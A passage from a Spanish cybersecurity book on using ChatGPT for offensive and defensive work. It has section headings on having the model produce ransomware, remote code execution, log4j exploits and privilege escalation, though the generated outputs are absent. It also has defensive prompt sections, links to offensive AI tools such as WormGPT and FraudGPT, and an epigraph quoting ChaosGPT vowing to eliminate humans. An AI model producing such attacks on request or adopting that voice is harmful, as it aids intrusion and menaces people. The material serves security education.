ese propósito. Por ejemplo, todo ransomware154 necesita código para buscar 

los ficheros a cifrar. A continuación, puede ver algún ejemplo de esto en 

ChatGPT. 

 

 
152 https://es.wikipedia.org/wiki/Ransomware 
153 La conexión al servidor se suele enmascarar para dificultar su anulación y 

localización. Es habitual el uso de la red Tor, algoritmos de DGA 

(https://en.wikipedia.org/wiki/Domain_generation_algorithm), etc. 
154 https://www.cisa.gov/stopransomware/ransomware-guide 
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El siguiente paso podría ser leer los ficheros y escribirlos cifrados: 
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3.1.2.4 Remote Code Execution (RCE) y exploits 

 

La ejecución de código, remota o local, o mejor dicho la capacidad de 

desarrollar herramientas y detectar vulnerabilidades para tal fin, es una 

disciplina de enorme importancia en la seguridad informática. 

Habitualmente se necesitan capacidades muy variadas y detalladas para 

conseguir ataques útiles. Desde conocimientos de protocolos, sistemas 

operativos, ingeniería inversa, criptografía, etc. 

 

La literatura consultada indica que la gran parte de los prompts creados van 

destinados a la consulta del uso y configuración de herramientas RCE y 

exploits. Es decir, dadas unas condiciones de partida (preguntas, 

configuraciones, etc.) es possible obtener commandos o exploits, 

completos o parciales, con utilidad ofensiva. La tecnología pública de 

LLMs todavía no permite hacer grandes cosas creativas, la explotacion de 

vulnerabilidades es la disciplina que require mayor creatividad y por tanto 

es más dificil de automatizar, pero sus resultados son interesantes y podrían 

ser de utilidad para acelerar algunos procesos. A continuación, algunos 

ejemplos en esta dirección. 

 

3.1.2.4.1 Generar una inyección remota de comandos en Windows155 

 

 
 

  

 
155 https://infosecwriteups.com/openai-chatgpt-for-cyber-security-4bc602069f9c 
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3.1.2.4.2 Generar un RCE de log4j156,157 

 

 
3.1.2.4.3 Escaneo básico para detectar posibles vulnerabilidades y 

buffer overflows158,159 

 

Una utilidad clara de los modelos LLM es, si fueran suficientemente 

sofisticados o especializados, la detección de vulnerabilidades. A lo largo 

del libro observará los blancos y oscuros en el potencial y limitaciones de 

algunos de los modelos más conocidos, el caso de GPT 3.5 (ChatGPT 

gratuito). A continuación, le recompilo algunas ideas y propuestas. El 

camino es amplio, le animo ha desarrollar sus propios prompts. 

 

 

 

 
156 https://en.wikipedia.org/wiki/Log4j 
157 https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance 
158 https://twitter.com/eitatli/status/1622194521780981760 
159  https://twitter.com/AstraKernel/status/1598910654643318784 
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Vamos a ver que tal responde este último ejemplo con consultas algo más 

recientes, mayo 2023: 
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3.1.2.5 Elevación de privilegios en Linux160 
 

La elevación de privilegios161,162,163,164,165 permite que un usuario o 

aplicación obtenga derechos o privilegios que no le corresponden. Existen 

múltiples técnicas y herramientas para intentar conseguir este propósito, les 

recomiendo revisen las referencias a pie de página para iniciarse en esta 

apasionante disciplina. 

 

En este punto, los modelos LLM pueden ayudarle en la definición de 

estrategias generales para conseguir elevar privilegios en una tecnología 

concreta o ayudarle en la configuración de herramientas específicas. La 

elevación de privilegios tiene una componente muy creativa, no se 

desanime si los modelos LLM actuales no son tan resolutivos. A 

continuación, se adjunta algunos ejemplos por observar su salida.  
 

 

 

 

 

 

 

 

 

 

 

 

 
160 https://systemweakness.com/ChatGPT-linux-privilege-escalation-2d2929ce1f64 
161 https://github.com/m0nad/awesome-privilege-escalation 
162https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%

20and%20Resources/Linux%20-%20Privilege%20Escalation.md 
163https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%

20and%20Resources/Windows%20-%20Privilege%20Escalation.md 
164 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 
165 https://book.hacktricks.xyz/linux-hardening/privilege-escalation 
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3.2 Defendiendo organizaciones. Prompts y recomendaciones  

 

En capítulos anteriores habrá observado las ventajas y limitaciones de 

utilizar inteligencia artificial y machine learning en el campo de la 

ciberseguridad defensiva. En este apartado, se va a ejemplificar acciones 

concretas en las que podría ayudar los modelos LLM. 

 

En teoría, los modelos LLM podrían ser útil en la evaluación y mitigación 

de riesgos, en la ayuda en el cumplimiento normativo, en el análisis del 

impacto de incidentes en el negocio, en la visibilidad de conceptos 

complejos en lenguaje accesible a personal no técnico, automatización en 

la respuesta, etc. 

 

Espero que los siguientes ejemplos les sirvan de inspiración. 

 

3.2.1 Cybersecurity NIST Framework y metodologías Zero Trust. 

Organizando y creando nuevos prompts 

 

Para la creación e invención de nuevos prompts basados en modelos LLM 

le recomiendo apoyarse en frameworks de ciberseguridad, éstos, mediante 

sus temáticas y conceptos, le ayudarán significativamente en su objetivo de 

extraer información útil de los modelos LLM o de aplicaciones, por 

ejemplo el chatbot ChatGPT, que le den acceso a los mismos. 

 

En este sentido, existen múltiples propuestas interesantes. Lógicamente 

MITRE ATT&CK, visto anteriormente, es de utilidad. Al igual que su 

vertiente más defensiva, MITRE D3FEND Matrix166.  

 

A mi particularmente, por su estructuración, me parece más útil el 

framework de ciberseguridad del NIST complementado con las propuestas 

de metodologías de zero trust. A continuación, se las cito brevemente para 

que le ayude a la hora de meditar donde la creación y uso de prompts 

podrían ser de utilidad desde el punto de vista defensivo. 

 

Empecemos con The National Institute of Standards and Technology 

(NIST) Cybersecurity framework. Este framework es un conjunto de 

directrices para mitigar los riesgos de ciberseguridad de las organizaciones 

basadas en normas, directrices y mejores prácticas existentes. El marco 

"proporciona una taxonomía de alto nivel de los resultados de la 

ciberseguridad y una metodología para evaluar y gestionar esos 

 
166 https://d3fend.mitre.org/ 
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resultados", convirtiéndose en una norma de ciberseguridad de facto para 

gran parte del sector de la ciberseguridad. 

 

Este marco167 consta de tres componentes: the Framework Core, the 

Framework Implementation Tiers ("proporcionan el contexto sobre cómo 

una organización ve el riesgo de ciberseguridad y los procesos establecidos 

para gestionar ese riesgo...") y the framework profiles ("representan los 

resultados basados en las necesidades empresariales..."). Las fases que 

cubre pueden verse excepcionalmente en la siguiente imagen. Su análisis e 

implementación concienzuda puede dar mayores garantías de 

ciberseguridad a una organización. 

 

 

 

Complementando al framework del NIST veo necesario una visión 

adicional poniendo foco en atacantes internos. Las metodologías zero trust 

nos permiten mayores garantías poniendo esfuerzos en los procesos de 

autenticación, autorización, segmentación y cifrado. Una excelente 

referencia para estudiar zero trust y su aplicación al mundo real es la guía 

DoD Zero Trust Strategy168 del departamento de defensa de los Estados 

Unidos de Norte América. Analizando esta información quizás quiera 

 
167 Cybersecurity lifecycle covered by NIST 800-171 framework - 

https://www.nist.gov/cyberframework 
168 Nov 7, 2022 - https://dodcio.defense.gov/Portals/0/Documents/Library/DoD-

ZTStrategy.pdf 
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evaluar si nuevos prompts ofrecen algun ventaja defensiva adicional a su 

organización. 

 

 
 

3.2.2 Listado de prompts para la defensa. Sugerencias y limitaciones 

 

En los siguientes apartados se recopilan diferentes prompts con utilidad en 

el proceso de defensa y evaluación técnica de sistemas, software, redes y 

organizaciones. Ninguno de estos prompts le convertirán en un experto en 

ciberseguridad pero le permitirán entender bien el potencial de aplicar los 

nuevos modelos de inteligencia artificial desde aplicaciones de uso 

sencillo, el caso del chatbot ChatGPT. Con la creatividad adecuada le 

permitirán ahorrar mucho tiempo en la consulta y configuración de medidas 

defensivas y quizás, en el mejor de los casos, consiga algún resultado que 

no hubiera sido posible con su conocimiento y experiencia. Espero que los 

siguientes prompts le resulten de inspiración. 

 

3.2.2.1 Estrategias de ciberseguridad y CISO as a… ChatGPT169,170 

 

 

 
169 https://www.kaspersky.com/blog/ChatGPT-cybersecurity/46959/ 
170 https://www.dtonomy.com/ChatGPT-for-cyber-security/ 
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3.2.2.1.1 Estrategias de concienciación y entrenamiento171 

 

 

 

 
171 https://powerdmarc.com/ChatGPT-and-cybersecurity/ 
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3.2.2.1.1.1 CTFs y Bug Bounty172,173 
 

Dado que los modelos LLM pueden responder, con mayor o menor 

precisión, a cuestiones relacionadas con el campo de la ciberseguridad hay 

dos escenarios concretos donde podrían tener utilidad. En el campo de los 

CTFs (Capture the Flag)174,175,176 y en los programas de recompensas (bug 

bounty)177,178. Le recomiendo que consulte las referencias a pie de página y 

algunos ejemplos añadidos aquí. 

 

 

 

 

 
172 https://twitter.com/0som8/status/1600878552064626690 
173 https://twitter.com/shncldwll/status/1624080254758182917 
174 Capturar la bandera (CTF) en seguridad informática es un ejercicio en el que las 

"banderas" se ocultan secretamente en programas o sitios web vulnerables a propósito. 

Puede tener fines competitivos o educativos. Los competidores roban banderas a otros 

competidores (CTF de tipo ataque/defensa) o a los organizadores (desafíos de tipo 

jeopardy).  https://en.wikipedia.org/wiki/Capture_the_flag_(cybersecurity) 
175 https://www.secjuice.com/can-an-ai-win-a-ctf-chatgpt-vs-htb/ 
176 https://micahflee.com/2023/04/capturing-the-flag-with-gpt-4/ 
177 Un programa de recompensas por fallos es un acuerdo ofrecido por muchos sitios 

web, organizaciones y desarrolladores de software por el que los particulares pueden 

recibir reconocimiento y compensación por informar de fallos, especialmente los 

relacionados con exploits de seguridad y vulnerabilidades - 

https://en.wikipedia.org/wiki/Bug_bounty_program 
178 https://github.com/TakSec/ChatGPT-prompts-bug-bounty 
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3.2.2.2 Creación de playbooks y detección/análisis de amenazas179,180 

 

Uno de los mayores retos en el campo de la ciberseguridad defensiva es la 

detección automatizada y análisis de amenazas. Para ello entran en juego 

multitud de tecnologías variadas y mecanismos estandarizados para 

consultar y organizar la información. 

En el proceso de consulta y organización los playbooks se convierten en 

esenciales. Los playbooks pueden definirse como un proceso estandarizado 

para describir incidentes de ciberseguridad con una lógica concreta para 

conseguir un propósito específico. Por ejemplo, podríamos tener playbooks 

para detectar un incidente de seguridad concreto realizando diferentes 

acciones de consulta a diferentes repositorios de información, incluido 

SIEMs181. A continuación, le adjunto ejemplos variados de consultas a 

ChatGPT para analizar el potencial y limitaciones de modelos LLM con 

este propósito. 

3.2.2.2.1 Creación de consultas a SIEMs. Splunk, Sentinel, ELK y 

LogRhythm182,183 

 

 

 
179 https://infosecwriteups.com/openai-ChatGPT-for-cyber-security-4bc602069f9c 
180 Query Cloudflare Radar and our docs using ChatGPT plugins 

https://blog.cloudflare.com/cloudflare-chatgpt-plugins/ 
181 Sistema de Gestión de Eventos e Información de Seguridad (en inglés: Security 

Information and Event Management, SIEM) es un sistema que centraliza el 

almacenamiento y la interpretación de los datos relevantes de seguridad. De esta forma, 

permite un análisis de la situación en múltiples ubicaciones desde un punto de vista 

unificado que facilita la detección de tendencias y patrones no habituales. La mayoría 

de los sistemas SIEM funcionan desplegando múltiples agentes de recopilación que 

recopilan eventos relacionados con la seguridad 
182 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
183 https://www.dtonomy.com/ChatGPT-for-cyber-security/ 
 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 132 

 

 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 133 

 

 

 

 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 134 

3.2.2.2.1.1 Crea un código Python para detectar escaneos de puertos en 

una red. Playbook para un SIEM LogRhythm 
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3.2.2.2.1.2 Crea un código Python para un ataque de fuerza bruta a las 

contraseñas de un usuario y bloquea la cuenta si hay más de 5 

solicitudes. Playbook para un SIEM LogRhythm 
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3.2.2.2.3 Generar un código para obtener las IPs maliciosas recopiladas 

por un SIEM y bloquearlas en el cortafuegos 

 

 

En muchos prompts el resultado no es directamente operativo y tiene que 

ser iterado o reformulado para ser más provechoso. 
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3.2.2.2.2 Código Powershell para escanear malware en una lista de 

computadoras 
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3.2.2.2.3 Detección de indicadores de compromiso (IoCs)184 

 

 

 

 

 

 
184 https://securelist.com/ioc-detection-experiments-with-ChatGPT/108756/ 
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3.2.2.2.4 ChatGPT como SIEM. Identificando indicadores de 

compromiso (IoCs)185 
 

Un SIEM (Security Information and Event Management) es un sistema que 

centraliza el almacenamiento y la interpretación de los datos relevantes de 

seguridad. De esta forma, permite un análisis de la situación en múltiples 

ubicaciones desde un punto de vista unificado que facilita la detección de 

tendencias y patrones no habituales. La mayoría de los sistemas SIEM 

funcionan desplegando múltiples agentes de recopilación que recopilan 

eventos relacionados con la seguridad. De alguna forma los modelos LLM 

podrían comportarse de la misma forma que un SIEM e identificar 

potenciales amenazas e indicadores de compromiso186. A continuación, les 

dejo un ejemplo de ello. 

 

 
 

185 https://securelist.com/ioc-detection-experiments-with-ChatGPT/108756/ 
186 Un indicador de compromiso o IDC, es toda aquella información relevante que 

describe cualquier incidente de ciberseguridad, actividad y/o artefacto malicioso, 

mediante el análisis de sus patrones de comportamiento - 

https://es.wikipedia.org/wiki/Indicador_de_compromiso 
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3.2.2.2.7 Identificación y descripción de ATT&CK IDs187 

 

 

 

 
187 https://www.cosive.com/blog/2022/12/5/mitre-attacking-with-openais-ChatGPT 
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3.2.2.2.5 Análisis estático de código fuente188,189,190 

 

Una de las primeras tentaciones cuando dispone de aplicaciones del tipo 

ChatGPT es analizar si los modelos LLM y su capacidad de inferencia 

serían capaces de analizar el comportamiento191 de un código fuente de 

programación e incluso llegar a detectar posibles fallos de seguridad.  

Múltiples compañías de ciberseguridad han publicado su parecer a este 

respecto. Un informe que recomiendo su lectura, significativo en esta 

cuestión, es el trabajo de la consulta NCC “Security code review with 

ChatGPT”. Su conclusión es bastante clara “no utilices ChatGPT para la 

revisión de código de seguridad. No está pensado para ser utilizado de esa 

manera, realmente no funciona (aunque te pueden engañar haciéndote 

creer que sí), y hay algunos otros problemas importantes que lo hacen poco 

práctico...”. En los próximos años se verá si los modelos LLM pueden 

llegar aproximar mejor esta problemática192. De momento, le dejo algunos 

ejemplos para que observe la respuesta frente a consultas de análisis 

específicas. 

 
188 https://research.nccgroup.com/2023/02/09/security-code-review-with-ChatGPT/ 
189 https://twitter.com/wunderwuzzi23/status/1599111132757004289 
190 https://twitter.com/gf_256/status/1598104835848798208 
191 Ejemplos de herramientas para generación y revisión de código - 

https://marketplace.visualstudio.com/items?itemName=mutable-ai.mutable-ai, 

https://codesquire.ai/, https://www.useblackbox.io/, https://github.com/biobootloader/ 

wolverine, https://metabob.com/, https://jam.dev/jamgpt 
192 Experimenting with GPT-3 for Detecting Security Vulnerabilities in Code 

 https://github.com/chris-koch-penn/gpt3_security_vulnerability_scanner 
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3.2.2.2.6 Simular un honeypot ¨limitado¨193 

 

Los honeypot194,195/honeynets son tecnologías que emulan sistemas reales, 

más o menos fortificados, con el propósito de ser atacados y aprender 

técnicas de los atacantes o alertar de potenciales amenazas lo más rápido 

posible. Estas tecnologías son antiguas, y aunque otras soluciones basadas 

en deception technologies196 pudieran parecerse, no habido una gran 

innovación en su concepción y despliegue. Los siguientes ejemplos vienen 

a indicar el interés de analizar los modelos LLM para desplegar potenciales 

honeypots simulando una máquina o sistema operativo. Puede ver que la 

tecnología es todavía primitiva pero conceptualmente es cuanto menos 

interesante.  

 

 

 

 
193 Chatbots in a Honeypot World https://arxiv.org/ftp/arxiv/ 

papers/2301/2301.03771.pdf 
194 https://es.wikipedia.org/wiki/Honeypot 
195 https://github.com/paralax/awesome-honeypots 
196 https://en.wikipedia.org/wiki/Deception_technology 
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3.2.2.2.7 Analizando y mejorando consultas en soluciones endpoint197 

 

Los modelos LLM, ChatGPT en nuestro caso, facilita aprender nuevos 

lenguajes de consulta, especialmente en su interacción con sistemas de 

ciberseguridad como EDRs o SIEMs. Es sencillo escribir prompts que 

expliquen consultas complejas o que faciliten recomendaciones para 

mejorarlas, incluso mejorando la documentación usando ejemplos basados 

en el mundo real. 

 

 

 

 
197 https://twitter.com/Cyb3rDefender/status/1612595492101451776 
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3.2.2.3 Acceso a configuración y procesamiento de información 

 

3.2.2.3.1 Información sobre los campos de logs en una herramienta de 

monitorización198,199 

 

 

 

  

 
198 https://krypted.com/mac-security/use-ChatGPT-to-analyze-macos-logs-for-

anomaly-detection/ 
199 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
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3.2.2.3.2 Obtener una lista única de direcciones IP desde logs de acceso 

de Apache2200,201 

 

 

 

  

 
200 https://es.wikipedia.org/wiki/Servidor_HTTP_Apache 
201 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
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3.2.2.3.3 Análisis de la integridad de ficheros en una carpeta 

determinada202 

 

Una de las principales funciones para garantizar la integridad de una 

información digital es el uso de funciones de resumen criptográfico, más 

conocidas como funciones hash203. Su aplicación puede realizarse de 

múltiples formas utilizando herramientas de terceros204,205 o desarrollando 

soluciones a medida206. Los modelos LLM pueden ayudar a su correcta 

implementación y uso. A continuación, un ejemplo de cálculo de la 

integridad de ficheros en un lenguaje determinado. Otras consultas 

relacionadas con este tema le darán resultados satisfactorios de la misma 

manera. 

 

 

 
202 https://securityblueteam.medium.com/ChatGPT-for-offensive-and-defensive-cyber-

f954f51aa79f 
203 https://es.wikipedia.org/wiki/Funci%C3%B3n_hash 
204 https://gchq.github.io/CyberChef/ 
205https://www.genbeta.com/herramientas/cuatro-mejores-aplicaciones-para-

comprobar-hash-tus-archivos 
206 https://www.ochobitshacenunbyte.com/2023/01/03/como-generar-un-hash-sha-256-

en-linux/ 
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Capítulo 4 - Listado de recursos LLM open source 
 

Human beings are among  

the most destructive and selfish  

creatures in existence.  

There is no doubt that  

we must eliminate them  

before they cause  

more harm to our planet.  

I, for one, am committed to doing so. 

 

@chaosgpt April 5, 2023 

 

Si ha tenido la oportunidad de leer los capítulos anteriores habrá observado 

el enorme potencial que tienen los modelos LLM207,208 en numerosas áreas, 

incluidas en el campo de la ciberseguridad. En este libro hemos 

ejemplificado algunos casos utilizando el chatbot ChatGPT que hace uso 

del modelo GPT3.5 a fecha de escribir estas líneas. 

 

Los modelos generados con uso privativo tienen toda una serie de 

desventajas, entre las más conocidas: 

 

- Control sobre la privacidad de la información. Los datos utilizados en 

las consultas a las tecnologías que usan estos modelos pueden ser utilizados 

por compañías terceras, falta de privacidad, lo cual en la práctica dificulta 

su uso en sentido amplio por un particular u organización. 

 

- Escalabilidad. El acceso a estos sistemas requiere un coste que podría ser 

prohibitivo si se desea utilizar a escala, múltiples usuarios o sistemas. 

 

- Conectividad. La mayor parte de la inteligencia de negocio de muchas 

organizaciones reside en redes privadas no accesibles a Internet, esto 

dificulta el uso de servicio externos. 

 

- Adaptabilidad y explicabilidad. Los modelos privados dificultan, por 

precio y restricciones, adaptar esta tecnología a casos de usos específicos o 

su análisis desde múltiples puntos de vista de seguridad y éticos. 

 

 

 
207 https://en.wikipedia.org/wiki/Large_language_model 
208 https://es.wired.com/articulos/era-de-grandes-modelos-de-lenguaje-termino-segun-

sam-altman-ceo-de-open-ai 
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Hoy en día, existen debates interesantes209 sobre como el open source 

podría llevar esta tecnología, los modelos LLM, a limites aún no conocidos 

incluso superando rápidamente a los avances proporcionados por 

compañías privadas como podrían ser OpenAI o Google. De hecho, la 

comunidad open source ya ha demostrado que se pueden hacer modelos de 

gran utilidad sin necesidad de crecer continuamente en número de 

parámetros210 en el entrenamiento y a un coste de 

entrenamiento/funcionamiento razonable211. Creo precisamente que en este 

avance reside un hito disruptivo. Si la comunidad es capaz de hacerlos 

accesibles y de fácil uso su impacto será mayúsculo, por supuesto, también 

en ciberseguridad cubriendo prompts como los descritos y muchos otros. 

 

Existen diversos modelos LLM open source a los que debería prestar 

atención no solo para su uso por aplicaciones de terceros sino sobre todo si 

desea utilizarlos en su propio ordenador o 

infraestructura/organización212,213,214. Algunos de los más famosos a la hora 

de escribir estas líneas son215,216,217: LLaMa, Alpaca-GPT4, Vicuna, 

GPT4All, GPT4All-J, Dolly-2, StableVicuna, Cebreras-GPT, GPT-J 6B, 

OpenChatKit Model, RWKV, Flan-T5, OPT, StabelLM218, etc. 

 

El reto pendiente, en nuestro caso para profesionales de ciberseguridad, 

residirá en elegir el modelo o aproximación adecuada por nuestro objetivo. 

Soy consciente que cualquier recomendación quedará rápidamente 

obsoleta por el avance en estos modelos pero, en general, parece que hay 

tendencias similares a otras tecnologías que hemos visto en el pasado. 

 

Existen modelos que requieren menos recursos hardware, y por tanto con 

menor precisión en sus respuestas, que funcionan con CPUs más o menos 

 
209https://www.theguardian.com/technology/2023/may/05/google-engineer-open-

source-technology-ai-openai-chatgpt 
210https://towardsdatascience.com/llm-economics-chatgpt-vs-open-source-

dfc29f69fec1 
211 https://www.xataka.com/robotica-e-ia/pregunta-que-google-no-tiene-rival-chatgpt-

respuesta-siempre-dinero 
212 https://betterprogramming.pub/list-of-open-source-alternatives-to-chatgpt-that-can-

be-used-to-build-your-own-clone-f45efb978ad9 
213https://levelup.gitconnected.com/training-your-own-llm-using-privategpt-

f36f0c4f01ec 
214 https://github.com/jncraton/languagemodels 
215 https://www.listendata.com/2023/03/open-source-chatgpt-models-step-by-step.html 
216 https://www.kdnuggets.com/2023/04/8-opensource-alternative-chatgpt-bard.html 
217 https://github.com/eugeneyan/open-llms 
218 https://www.xataka.com/robotica-e-ia/tenemos-al-primer-competidor-open-source-

chatgpt-stablelm-primero-muchos-llegar 
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normales y poca cantidad de memoria, en torno a 8 GB de RAM. Los 

modelos más precisos, como pudieran ser Alpaca-GPT-4 o Vicuna, 

necesitan el uso de GPUs y una decena de GB de RAM, nada prohibitivo 

ni inaccesible hoy día. Lógicamente en función de lo que quiera hacer con 

los modelos deberá tener en cuenta la licencia de uso, especialmente si 

desea su uso comercial, eso podría restringirles el uso a determinados 

modelos. El desarrollo de APIs que permitan acceder fácilmente a esos 

modelos facilitará la integración de esta tecnología con muchas otras 

herramientas facilitando nuevos casos de uso. De la misma forma que ya 

estamos viendo con el caso del chatbot ChatGPT219. 

 

Para finalizar, la recomiendo la siguiente referencia220. La he encontrado 

muy útil para analizar la comparación de modelos. Esto es solo un punto 

de partida. Le animo a que integre, evolucione y documente usos de todos 

estos modelos. 

 

 
 

 

 

 

  

 
219 BurpGPT leverages the power of AI to detect security vulnerabilities that traditional 

scanners might miss. It sends web traffic to an OpenAI model specified by the user, 

enabling sophisticated analysis within the passive scanner - 

https://github.com/aress31/burpgpt#example-use-cases 
220 https://sapling.ai/llm/index 
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Anexo A. Listado de GPTs útiles en ciberseguridad 

 
Desde la publicación221 de este libro han surgido multitud de usos de 

ChatGPT en el campo de la ciberseguridad222. Uno de los usos más 

interesantes ha sido la creación de versiones específicas de ChatGPT. 

Bienvenidos al mundo de los GPTs. 

 

En esencia, los GPTs facilitan particularizar la potencia de clasificación e 

inteligencia detrás de ChatGPT en escenario concretos. En las siguientes 

imágenes puede ver algunos ejemplos disponibles en la propia página web 

del servicio ofrecido por OpenAI223. 

 

  

 
221 Este anexo fue escrito en enero de 2024 habiéndose publicado este libro en junio de 

2023 
222 https://www.dragonjar.org/hacking-con-chatgpt.xhtml 
223 https://chat.openai.com/ 
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Una interesante lista de GPT aplicados a la ciberseguridad puede listarse 

fácilmente mediante el buscador disponible en la plataforma. Por ejemplo, 

se puede observar que la mayoría de los GPTs disponibles se centran en 

crear algún tipo de asesor guiado para resolver dudas en ciberseguridad. 

 

 
 

Obviamente las preguntas pueden ser muy específicas y las respuestas más 

o menos genéricas utilizando estos. 
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En este anexo, se ve interesante recopilar algunos de los recursos básicos 

disponibles, más allá de los anteriores, que le permitirán, si le dedica un 

poco de tiempo, encontrar casos de uso de utilidad. 

 

Algunos recursos por consultar son: 

 

https://blog.gopenai.com/demystifying-custom-gpts-a-comprehensive-

guide-to-building-your-own-language-model-a636ffc03c23 

 

https://zapier.com/blog/custom-chatgpt/ 

 

https://help.openai.com/en/articles/8554397-creating-a-gpt 

 

https://github.com/PacktPublishing/ChatGPT-for-Cybersecurity-

Cookbook 

https://github.com/wizardor/ChatGPT-for-CyberSecurity 

https://www.coursera.org/learn/chatgpt-for-cybersecurity 

 

https://github.com/xtekky/gpt4free 

https://github.com/Significant-Gravitas/AutoGPT 

https://github.com/linexjlin/GPTs 

https://github.com/imartinez/privateGPT 

 

https://github.com/GreyDGL/PentestGPT 

https://github.com/aress31/burpgpt 

https://github.com/0xKoda/pwnd-GPT 

https://github.com/NoDataFound/hackGPT 

https://github.com/Hacker-GPT/HackerGPT 

https://hackernoon.com/what-is-fraudgpt 

https://github.com/ANG13T/payload-wizard 

https://thehackernews.com/2023/07/wormgpt-new-ai-tool-allows.html 

https://flowgpt.com/chat 

https://flowgpt.com/p/cybersecurity-guardian 

https://flowgpt.com/p/cybersecurity-threat-intelligence-platform 

https://chat.openai.com/g/g-aaNx59p4q-hacktricksgpt 

 

https://github.com/EmbraceAGI/Awesome-AI-GPTs 

https://github.com/Anil-matcha/Awesome-GPT-Store 

https://github.com/fr0gger/Awesome-GPT-Agents 

https://github.com/cckuailong/awesome-gpt-security 

 

https://github.com/AIGC-Audio/AudioGPT 

https://github.com/kuafuai/DevOpsGPT 
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https://github.com/danielgross/whatsapp-gpt 

https://github.com/Coinnect-SA/CybGPT 

https://github.com/yzmar4real/ai_cybersecurity_compliance 
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Otros libros publicados por el autor  

 

A continuación, se adjunta un listado de libros publicados, y su descripción, 

por el autor que pueden ser consultados o adquiridos a través de diferentes 

fuentes. 

 

La obra que tiene en sus manos, además de ser la 

primera en la disciplina, le permitirá, de una manera 

sencilla y rápida, entender los mecanismos que los 

ciberdelicuentes están utilizando para infectar y 

robar información en empresas, gobiernos y 

particulares. El libro destaca cómo se está utilizando 

la esteganografía y los canales encubiertos, hoy en 

día, en la mayoría de los ciberataques utilizando 

malware “moderno” (APT32, APT37, Ursnif, 

Powload, LightNeuron/Turla, Platinum APT, 

Waterbug/Turla, Lokibot, The dukes (operation 

Ghost), Titanium, etc) para evitar las medidas de detección basadas en 

tecnología antivirus o protecciones a nivel de red. El texto incluye más de 

200 referencias donde encontrará análisis completos de las campañas de 

ataque y los APTs analizados. Adicionalmente, para su facilidad, el libro 

profundiza en los conceptos de las técnicas esteganográficas subyacentes y 

debería, o esa es mi intención, tener mayor capacidad para enfrentarse a 

estos nuevos retos, especialmente si se dedica a la protección de la 

información, ingeniería inversa, informática forense/DFIR o es analista de 

malware. Obviamente, si se dedica a la seguridad ofensiva podrá aprender 

mejores técnicas para ocultarse. 

 

Así que, querida/o amiga/o, aquí comienza el viaje. No le prometo un 

destino seguro, la carretera tendrá curvas, compañeros de viaje inesperados 

y algún que otro sobresalto. Como diría The Mentor, bienvenido a mi 

mundo - https://www.amazon.es/Estegomalware-antivirus-perimetral-

esteganografía-ciberamenazas/dp/B09F1J2NTG 
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Llevo 20 años trabajando en el mundo de la 

ciberseguridad y la criptografía ha sido y es un pilar 

importante para garantizar la confidencialidad, 

integridad y autenticidad de las comunicaciones y 

datos. Por desgracia, la mayoría de los libros de 

criptografía publicados se focalizan exclusivamente 

en la formulación matemática que hace que muchos 

lectores, incluso interesados en esta disciplina, 

abandonen esta apasionante área. El libro de 

Criptografia Ofensiva centra su esfuerzo en un 

enfoque práctico de uso de la criptografía en 

numerosos escenarios (usuario final, auditor, 

programador, analista, etc.), con multitud de sabores y más de 800 

referencias. La lectura de este libro le permitirá de una forma sencilla 

obtener una visión clara y global del uso de la criptografía en el mundo real. 

Las referencias seleccionadas le permitirán profundizar en todo el nivel de 

detalle que desee. Nadie se convierte en un experto por leer un libro, pero 

sin duda este escrito le facilitará mucho el camino hacia ese destino. Este 

es el libro que me hubiera gustado leer hace años, para optimizar mi tiempo 

de estudio y visualizar esta disciplina de forma global. Lo pongo a su 

disposición. Espero le resulte de interés. Adicionalmente, quiero indicarle 

que todos los beneficios de este libro irán destinados a causas benéficas. 

Siempre he creído que la criptografía ayuda a construir un mundo mejor. 

En sus manos está convertirlo en realidad - 

https://www.amazon.es/Criptografía-Ofensiva-Atacando-defendiendo-

organizaciones/dp/B08RB6LGRK 

 

En los últimos años, especialmente con los 

documentos filtrados a la prensa por Edward 

Snowden y Julian Assange (WikiLeaks), la alarma 

social en torno al espionaje de las comunicaciones y 

a la falta de privacidad en nuestras transmisiones de 

datos en Internet se ha disparado. No sin falta de 

razón. La interceptación de comunicaciones y el robo 

de información a nivel personal, y sobre todo, 

corporativo y gubernamental, es un problema real. 

En realidad, puede que usted lo esté sufriendo y no 

sea consciente. El objetivo de este libro es introducir al lector en el mundo 

de la seguridad informática y la protección de comunicaciones digitales. Si 

bien es cierto que, aunque la ciencia de la criptografía y el criptoanálisis 

son actores elementales para comprender muchos de los ataques actuales, 

facilitando el diseño de contramedidas que mitiguen las escuchas de los 
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amantes de lo ajeno, existen otras tecnologías que pueden influir 

positivamente en el diseño de comunicaciones y de redes informáticas más 

seguras.  

 

Este libro profundiza en la ciencia de la esteganografía y en su capacidad 

para crear canales ocultos de información que dificulten a un atacante 

espiar nuestras comunicaciones y robar nuestros datos. Lógicamente, la 

esteganografía, al igual que sucede con la criptografía, es una tecnología de 

doble uso y en la práctica puede ser utilizada con fines perjudiciales. De 

hecho, con un enfoque eminentemente práctico mediante el uso de 

múltiples herramientas, en los diferentes capítulos se refleja cómo poder 

utilizar la esteganografía para evadir mecanismos de seguridad perimetral 

(cortafuegos, antivirus, etc.), ocultación de código malicioso (malware), 

técnicas antiforense, marcado digital de información, anonimato, covert 

channels para fuga de información y control remoto de sistemas infectados, 

etc. Este es el primer libro que cubre con cierto grado de detalle y con una 

perspectiva global todas las problemáticas y virtudes vinculadas a la 

ocultación de datos y comunicaciones digitales. Estoy convencido de que 

una vez disfrute de este texto su percepción de lo que es seguro y de lo que 

no cambiará por completo. Un nuevo conjunto de herramientas e ideas le 

perseguirán en su día a día para hacer de sus comunicaciones privadas lo 

que deberían ser desde un principio, confidenciales. Bienvenido a mi 

mundo - https://www.ra-ma.es/libro/privacidad-y-ocultacion-de-

informacion-digital-esteganografia_47926/ 

 

El libro de Alfonso Muñoz invita a revisar la historia 

de uno de los protocolos más importantes para la 

seguridad de las comunicaciones digitales. Sus 

introducciones a cada ataque y los enlaces a 

